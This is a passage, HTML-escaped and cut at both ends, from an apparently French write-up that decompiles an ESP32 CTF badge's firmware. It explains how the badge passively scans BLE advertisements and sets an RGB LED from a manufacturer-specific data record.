&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;broadcast_timer_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4200f26a&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;esp_ble_controller_init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ptr_nimble_gap_event_handler&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nimble_on_initialized&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4201d6ba&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4200f096&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette fonction crée deux &lt;em&gt;timers&lt;/em&gt;: le premier va être en charge d'appeler une fonction de rappel
pour gérer la LED RGB tandis que le second va gérer des événements liés au BLE qui seront précisés par la suite.
Le contrôleur BLE de &lt;em&gt;NimBLE&lt;/em&gt; est initialisé, et ce dernier est initialisé . La fonction &lt;cite&gt;nimble_on_initialized()&lt;/cite&gt;
est une fonction de rappel qui sera exécutée lorsque le contrôleur sera initialisé. Celle-ci lance une procédure
GAP de découverte de périphériques BLE, basée sur la réception de &lt;em&gt;PDU&lt;/em&gt; d'annonce avec le contrôleur configuré
en simple observateur. Le badge n'envoie aucune information, il va simplement traiter les informations envoyées
par les équipements environnant.&lt;/p&gt;
&lt;p&gt;La fonction &lt;cite&gt;nimble_on_initialized()&lt;/cite&gt; démarre cette procédure de découverte et spécifie une autre fonction de rappel,
celle-ci ayant pour rôle de traiter les annonces reçues par le contrôleur BLE de l'ESP32:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ble_start_device_discovery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;auStack_11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x300030&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;uStack_14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4200f9d0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;auStack_11&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nimble_start_discover&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;auStack_11&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x7fffffff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;uStack_18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ble_handle_device_disc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La fonction &lt;cite&gt;ble_handle_device_disc()&lt;/cite&gt; effectue une batterie de tests sur chaque annonce reçue:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ble_handle_device_disc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iVar5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uVar7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;auStack_c4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;156&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pcStack_28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cStack_24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Vérification du PDU d&amp;#39;annonce reçu. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x07&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iVar5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4201ba7a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auStack_c4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;iVar5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cStack_24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x06&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pcStack_28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcStack_28&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Extraction de l&amp;#39;octet situé à l&amp;#39;offset +2 (ID) */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cVar1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pcStack_28&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Vérifie si l&amp;#39;ID a été vu récemment. */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;iVar5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4200f106&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cVar1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iVar5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="cm"&gt;/* On extrait trois octets aux offsets +3, +4 et +5. */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;cVar2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pcStack_28&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;cVar3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pcStack_28&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;cVar4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pcStack_28&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="cm"&gt;/* Affichage dans la console d&amp;#39;un nouvel ID détecté. */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FUN_ram_40811072&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;FUN_ram_40810f56&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_BLE_CTF_ram_4207bd90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_W_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;lu&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;_new_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;:%&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;_rel_ram_4207bdcc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_BLE_CTF_ram_4207bd90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cVar1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="cm"&gt;/* On met à jour la LED RGB avec les valeurs cVar2 (R), cVar3 (G) et cVar4 (B). */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;rgb_led_update&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cVar2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cVar3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cVar4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_DAT_ram_408172c4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;uVar7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FUN_ram_4081015c&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x40810456&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;uVar7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_DAT_ram_408172c0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="cm"&gt;/* On sauvegarde l&amp;#39;id. */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;broadcast_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="cm"&gt;/* Et les valeurs R,G,B de la LED. */&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;DAT_ram_408172bd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;DAT_ram_408172be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;DAT_ram_408172bf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cVar4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;uVar7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FUN_ram_4081015c&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x40810456&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;uVar7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La trame d'annonce semble correspondre à un simple &lt;em&gt;advertising record&lt;/em&gt; de 6 octets, dont les
deux premiers octets valent &lt;cite&gt;0xFF&lt;/cite&gt; et les 4 derniers stockent respectivement un ID sur un octet
et un triplet RGB. Le format qui correspond le mieux dans la spécification Bluetooth Low Energy
est celui du &lt;em&gt;Manufacturer Specific Data&lt;/em&gt;, dont les deux premiers octets définissent un identifiant de
16 bits associé à une société (ces valeurs sont normalisées et trouvables dans la liste des
&lt;a class="reference external" href="https://www.bluetooth.com/specifications/assigned-numbers/"&gt;Bluetooth Assigned Numbers&lt;/a&gt;).
Pour le moment ce n'est qu'une hypothèse, mais elle va être rapide à vérifier par la suite.&lt;/p&gt;
&lt;p&gt;Un autre bout de code a aussi attiré mon attention:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;chall_relay_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;relay_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;red&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;green&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;blue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uVar1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_d9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_d8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_d4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_d0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;undefined1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uStack_cc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
